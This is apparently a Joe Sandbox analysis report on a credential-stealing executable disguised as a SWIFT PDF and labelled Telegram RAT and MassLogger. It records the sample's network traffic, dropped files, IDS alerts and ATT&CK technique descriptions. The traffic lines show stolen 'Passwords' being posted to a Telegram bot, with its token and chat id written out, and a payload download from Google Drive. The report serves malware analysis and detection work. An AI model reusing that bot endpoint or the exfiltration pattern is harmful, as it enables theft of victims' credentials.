Source: global traffic	HTTP traffic detected: POST /bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd1d7e8af6a03cHost: api.telegram.orgContent-Length: 1090Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd1da853a7b98dHost: api.telegram.orgContent-Length: 1090Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd1dcf16c14216Host: api.telegram.orgContent-Length: 1090
Source: global traffic	HTTP traffic detected: POST /bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd1dfb205ad284Host: api.telegram.orgContent-Length: 1090Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd1e200f538461Host: api.telegram.orgContent-Length: 1090

Source: Joe Sandbox View	IP Address: 149.154.167.220 149.154.167.220
Source: Joe Sandbox View	IP Address: 104.21.67.152 104.21.67.152
Source: Joe Sandbox View	IP Address: 193.122.6.168 193.122.6.168

Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Code function: 4x nop then jmp 38410671h	4_2_384103AF
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Code function: 4x nop then jmp 38411042h	4_2_38410C28
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Code function: 4x nop then jmp 3841C985h	4_2_3841C638
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Code function: 4x nop then jmp 3841F2F8h	4_2_3841F05A
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Code function: 4x nop then jmp 3841B339h	4_2_3841B07F
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Code function: 4x nop then jmp 3841BBE9h	4_2_3841B930
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Code function: 4x nop then jmp 3841C499h	4_2_3841C1F2
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Code function: 4x nop then jmp 3841DD40h	4_2_3841DA89
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Code function: 4x nop then jmp 3841E5F0h	4_2_3841E339
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Code function: 4x nop then jmp 3841EEA0h	4_2_3841EBF2
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Code function: 4x nop then jmp 38411042h	4_2_38410C1A
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Code function: 4x nop then jmp 3841B791h	4_2_3841B4D8
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Code function: 4x nop then jmp 3841C041h	4_2_3841BDA2
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Code function: 4x nop then jmp 3841E198h	4_2_3841DEE1
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Code function: 4x nop then jmp 38411042h	4_2_38410F6F
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Code function: 4x nop then jmp 3841EA48h	4_2_3841E790
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Code function: 4x nop then jmp 38FB2C60h	4_2_38FB29B8
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Code function: 4x nop then push 00000000h	4_2_38FBBDF0
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Code function: 4x nop then jmp 38FB882Dh	4_2_38FB8650
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Code function: 4x nop then jmp 38FB91B7h	4_2_38FB8650
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Code function: 4x nop then jmp 38FB7318h	4_2_38FB7070
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Code function: 4x nop then jmp 38FB1B00h	4_2_38FB1858
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Code function: 4x nop then jmp 38FB4ACAh	4_2_38FB4820
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	4_2_38FB8193
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Code function: 4x nop then push 00000000h	4_2_38FBC92F
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Code function: 4x nop then jmp 38FB23B0h	4_2_38FB2108
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Code function: 4x nop then jmp 38FB5D60h	4_2_38FB5AB8
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Code function: 4x nop then jmp 38FB3510h	4_2_38FB3268
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Code function: 4x nop then jmp 38FB54B0h	4_2_38FB5208
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Code function: 4x nop then lea esp, dword ptr [ebp-04h]	4_2_38FBCBE7
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Code function: 4x nop then jmp 38FB4670h	4_2_38FB43C8
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	4_2_38FB8373
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Code function: 4x nop then jmp 38FB6610h	4_2_38FB6368
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	4_2_38FB7B4F
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Code function: 4x nop then jmp 38FB3DC0h	4_2_38FB3B18
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Code function: 4x nop then jmp 38FB7770h	4_2_38FB74C8
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Code function: 4x nop then jmp 38FB1F58h	4_2_38FB1CB0
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Code function: 4x nop then jmp 38FB6EC0h	4_2_38FB6C18
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Code function: 4x nop then jmp 38FB16A8h	4_2_38FB1400
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Code function: 4x nop then jmp 38FB5058h	4_2_38FB4DB0
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Code function: 4x nop then jmp 38FB2808h	4_2_38FB2560
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Code function: 4x nop then jmp 38FB3968h	4_2_38FB36C0
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Code function: 4x nop then jmp 38FB5908h	4_2_38FB5660
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Code function: 4x nop then jmp 38FB30B8h	4_2_38FB2E10
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Code function: 4x nop then jmp 38FB6A68h	4_2_38FB67C0
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Code function: 4x nop then jmp 38FB1250h	4_2_38FB0FA8
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Code function: 4x nop then jmp 38FB4218h	4_2_38FB3F70
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Code function: 4x nop then jmp 38FB61B8h	4_2_38FB5F10
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Code function: 4x nop then push 00000000h	4_2_394EE7C8

Source: Joe Sandbox View	JA3 fingerprint: 54328bd36c14bd82ddaa0c04b25ed9ad
Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e
Source: Joe Sandbox View	JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: unknown	DNS query: name: checkip.dyndns.org
Source: unknown	DNS query: name: reallyfreegeoip.org

Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.4:49826 -> 193.122.6.168:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.4:49858 -> 193.122.6.168:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:49804 -> 172.217.19.174:443

Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=10KRNq80LmuGO2cUy9zDj3VUe6lGAr_tT HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: drive.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download?id=10KRNq80LmuGO2cUy9zDj3VUe6lGAr_tT&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	DNS traffic detected: DNS query: drive.google.com
Source: global traffic	DNS traffic detected: DNS query: drive.usercontent.google.com
Source: global traffic	DNS traffic detected: DNS query: checkip.dyndns.org
Source: global traffic	DNS traffic detected: DNS query: reallyfreegeoip.org
Source: global traffic	DNS traffic detected: DNS query: api.telegram.org

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report SWIFT091816-24_pdf.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Telegram RAT

Threatname: MassLogger

Yara Signatures

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Location Tracking

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving\Recaulescence.Tid

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving\Riprap43.gaw

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving\Sgetilladelse.sti

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving\forskansningens.txt

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving\fyldebtten.soi

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving\wildwestfilm.sto

C:\Users\user\AppData\Local\Temp\nsq69D9.tmp\System.dll

C:\Users\user\AppData\Roaming\Microsoft\Windows\Printer Shortcuts\Benchership141.lnk

Static File Info

General

File Icon

Windows Analysis Report
SWIFT091816-24_pdf.exe

Function 004032A0 Relevance: 89.7, APIs: 32, Strings: 19, Instructions: 401
stringfilecomCOMMON

Function 00404B30 Relevance: 63.5, APIs: 33, Strings: 3, Instructions: 481
windowmemoryCOMMON

Function 00403C41 Relevance: 48.3, APIs: 32, Instructions: 345
windowstringCOMMON

Function 00406077 Relevance: 19.5, APIs: 8, Strings: 3, Instructions: 207
stringCOMMON

Function 00405846 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 148
filestringCOMMON

Function 0040389E Relevance: 47.5, APIs: 14, Strings: 13, Instructions: 215
stringregistryCOMMON

Function 00402DEE Relevance: 26.4, APIs: 5, Strings: 10, Instructions: 182
COMMON

Function 00401767 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 145
stringtimeCOMMON

Function 00403027 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 166
COMMON

Function 004025E5 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 151
fileCOMMON

Function 0040237B Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 71
registrystringCOMMON

Function 00405683 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 39
COMMON

Function 10001759 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 118
COMMON

Function 00405C59 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 37
COMMON

Function 004063BF Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 34
libraryCOMMON

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre